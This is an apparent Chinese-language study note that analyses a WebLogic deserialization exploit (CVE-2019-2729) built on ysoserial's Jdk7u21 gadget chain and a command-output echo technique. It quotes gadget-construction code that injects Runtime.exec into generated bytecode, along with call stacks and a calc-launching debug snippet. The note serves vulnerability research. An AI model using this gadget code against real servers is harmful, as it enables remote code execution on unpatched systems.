weblogic使用jdk7u21 gadget以及回显

tech2023-12-02  32

参考:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.javaJava 反序列化漏洞始末(2)— JDK

条件: jdk < = 7u21

weblogic v10的payload解析

来源: https://github.com/chaitin/xray/blob/master/pocs/weblogic-cve-2019-2729-1.yml 在java原生反序列化之前将payload转换成序列化文件:

File f = new File("C:\\Users\\Administrator\\Desktop\\chatin_2729_echo.ser"); ObjectOutputStream out2 = new ObjectOutputStream(new FileOutputStream(f)); out2.write(bytes); out2.flush(); out2.close();

看看这个反序列化出来的Object: 具体各个属性的生成参考: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }

在序列化出来的字符串里搜到了weblogic/servlet/internal/ServletOutputStreamImpl,应该是用writeStream这个方法进行回显吧。 并且判断操作系统win/linux,执行对应的/bin/sh -c还是cmd /c。

好像是通过异常把结果带出来的:

E:\Oracle\Middleware10.3.6.0\wlserver_10.3\server\lib\weblogic.jar!\weblogic\servlet\internal\ServletOutputStreamImpl#writeStream(InputStream var1) 应该是自定义的字节类中调用了ServletOutputStreamImpl#writeStream然后拼接了命令执行的结果,最后返回。

Weblogic与jdk的兼容性问题

好像10.3.6不支持jdk 1.8,不过好像可以先用jdk 6,7安装之后然后bypass。 https://stackoverflow.com/questions/22513660/jre-8-compatibility-with-weblogic-10-3-6-11g

直到12.1.3才开始支持jdk 1.8 https://community.oracle.com/thread/3539686

调用栈:

exec:328, Runtime (java.lang) <clinit>:-1, Pwner45438314278992 (ysoserial) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:39, NativeConstructorAccessorImpl (sun.reflect) newInstance:27, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:513, Constructor (java.lang.reflect) newInstance0:357, Class (java.lang) newInstance:310, Class (java.lang) getTransletInstance:376, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:406, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:39, NativeMethodAccessorImpl (sun.reflect) invoke:25, DelegatingMethodAccessorImpl (sun.reflect) invoke:597, Method (java.lang.reflect) equalsImpl:179, AnnotationInvocationHandler (sun.reflect.annotation) invoke:41, AnnotationInvocationHandler (sun.reflect.annotation) equals:-1, $Proxy89 (com.sun.proxy) put:376, HashMap (java.util) readObject:292, HashSet (java.util) invoke:-1, GeneratedMethodAccessor4 (sun.reflect) invoke:25, DelegatingMethodAccessorImpl (sun.reflect) invoke:597, Method (java.lang.reflect) invokeReadObject:969, ObjectStreamClass (java.io) readSerialData:1871, ObjectInputStream (java.io) readOrdinaryObject:1775, ObjectInputStream (java.io) readObject0:1327, ObjectInputStream (java.io) readObject:349, ObjectInputStream (java.io) <init>:63, UnitOfWorkChangeSet (oracle.toplink.internal.sessions) ...

Jdk7u21调试

在ysoserial中使用以下两行代码进行调试

public static void main1() throws Exception { // 构造待触发的对象(把油都浇好了,一点就着) TemplatesImpl object = (TemplatesImpl)Gadgets.createTemplatesImpl("calc"); // 触发漏洞(点了,着了) object.getOutputProperties(); }

学习一下如何构造好这个待触发的对象,以及受害者是如何一步一步进入攻击者设计好的陷阱里的。

import javassist.ClassPool; // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(abstTranslet)); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // 这里通过javassist.ClassPool生成class,这里用到随机的类名,方便同一个jvm里反复利用? final CtClass clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(abstTranslet.getName()); // 设置这个生成的class继承自`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet` clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode();

通过javassist生成一个类,将payload插入到类的初始化代码块中,然后转换成字节码。

// inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) });

将刚才的那个生成的类的字节,放到TemplatesImpl这个类的_bytecodes属性中。 然后再通过反射设置TemplatesImpl这个类的另外两个属性:

Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

其中原类TemplatesImpl中的定义是:

/** * Name of the main class or default name if unknown. */ private String _name = null; /** * A reference to the transformer factory that this templates * object belongs to. */ private transient TransformerFactoryImpl _tfactory = null;

到这里,payload的生成结束了。 然后看如何通过getOutputProperties触发payload。 代码的跟踪这里都已经说了: https://y4er.com/post/ysoserial-jdk7u21/

调用栈:

getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)

但是关键在于如何让ObjectInputStream#readObject的过程中自动执行TemplatesImpl#getOutputProperties

看看ysoserial是怎么处理的。 调试他的main方法,

PayloadRunner.run(Jdk7u21.class, args);

然后开始生成恶意对象:

final Object objBefore = payload.getObject(command);

所以重点就是看Jdk7u21类的getObject(final String command)方法:

String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

这里先构造了一个Map对象,然后通过反射拿到AnnotationInvocationHandler的第一个构造器,也就是:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { this.type = var1; this.memberValues = var2; }

然后ysoserial的代码里传递的是Override.class和刚才那个不知道啥用的map对象。

其中AnnotationInvocationHandler的构造器接收两个参数:一个class对象(java.lang.annotation.Annotation的子类),一个Map对象(key为String类型,value为Object类型)

构造完之后,分别赋值给了AnnotationInvocationHandler对象的type属性,和memberValues属性。 但是明明为什么刚才已经构造了AnnotationInvocationHandler,type属性被赋值为Override.class,还要下面这句:

Reflections.setFieldValue(tempHandler, "type", Templates.class);

将type属性再赋值为Templates.class?

//TODO

参考:

https://www.geek-share.com/detail/2714536302.htmlhttps://docs.oracle.com/middleware/12212/wls/INTRO/compatibility.htm#INTRO116https://docs.oracle.com/cd/E23943_01/doc.1111/e14142/jdk7.htm#WLSIG262https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_12_1_3.htm#EOHLU224https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_10_3_6.htm#EOHLU189https://stackoverflow.com/questions/44714576/how-to-update-weblogic-server-jdk-from-1-7-to-1-8-on-windows-7
最新回复(0)